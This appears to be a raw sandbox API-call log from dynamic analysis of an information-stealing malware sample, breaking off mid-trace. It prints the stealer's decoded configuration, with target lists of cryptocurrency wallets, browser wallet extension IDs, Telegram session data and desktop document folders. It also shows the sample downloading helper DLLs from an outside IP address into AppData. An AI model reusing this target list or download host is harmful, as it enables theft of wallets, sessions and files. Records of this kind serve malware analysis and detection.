Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0257.986] lstrlenW (lpString="nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5273 [0257.986] LocalAlloc (uFlags=0x40, uBytes=0x29b2) returned 0x6c12f8 [0257.986] StrCpyW (in: psz1=0x6bc068, psz2="nss3" | out: psz1="nss3") returned="nss3" [0257.986] LocalFree (hMem=0x6c12f8) returned 0x0 [0257.986] lstrlenW (lpString="nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5273 [0257.986] LocalAlloc (uFlags=0x40, uBytes=0x29b2) returned 0x6c12f8 [0257.987] StrCpyW (in: psz1=0x6be9b0, psz2="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll" | out: psz1="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll") returned="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll" [0257.987] LocalFree (hMem=0x6c12f8) returned 0x0 [0257.987] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6cdf00 [0257.987] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned 35 [0257.987] lstrlenW (lpString="") returned 0 [0257.987] LocalAlloc (uFlags=0x40, uBytes=0x146) returned 0x6db988 [0257.987] lstrlenW (lpString="\\") returned 1 [0257.987] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned 35 [0257.987] LocalAlloc (uFlags=0x40, uBytes=0x148) returned 0x6cdf00 [0257.988] lstrlenW (lpString="nss3") returned 4 [0257.988] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\") returned 36 [0257.988] LocalAlloc (uFlags=0x40, uBytes=0x150) returned 0x6ce050 [0257.988] lstrlenW (lpString=".dll") returned 4 [0257.988] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\nss3") returned 40 [0257.988] LocalAlloc (uFlags=0x40, uBytes=0x158) returned 0x6e6bd0 [0257.988] LocalAlloc (uFlags=0x40, uBytes=0xff78) returned 0x6e6d30 [0257.990] lstrlenW (lpString="Content-Type: text/plain;") returned 25 [0257.990] lstrlenW (lpString="") returned 0 [0257.990] LocalAlloc (uFlags=0x40, uBytes=0x132) returned 0x6e08b0 [0257.991] lstrlenW (lpString="\r\n") returned 2 [0257.991] lstrlenW (lpString="Content-Type: text/plain;") returned 25 [0257.991] LocalAlloc (uFlags=0x40, uBytes=0x136) returned 0x6db988 [0257.991] lstrlenW (lpString="\r\n\r\n") returned 4 [0257.991] lstrlenW (lpString="Content-Type: text/plain;\r\n") returned 27 [0257.991] LocalAlloc (uFlags=0x40, uBytes=0x13e) returned 0x6e08b0 [0257.991] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6cdf00 [0257.991] StrStrW (lpFirst="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll", lpSrch="://") returned="://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll" [0257.991] lstrlenW (lpString="51.195.166.178") returned 14 [0257.991] InternetOpenW (lpszAgent="record", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0257.992] lstrlenW (lpString="Content-Type: text/plain;\r\n\r\n\r\n") returned 31 [0257.992] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll", lpszHeaders="Content-Type: text/plain;\r\n\r\n\r\n", dwHeadersLength=0x1f, dwFlags=0x84400000, dwContext=0x0) returned 0xcc000c [0258.091] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\nss3.dll" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\nss3.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x2b4 [0258.095] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.095] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.097] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.097] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.097] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.097] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.097] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.097] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.098] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.098] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.098] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.100] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.100] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.121] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.121] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.122] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.122] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.123] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.123] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.123] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.123] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.123] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.124] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.124] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.124] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) 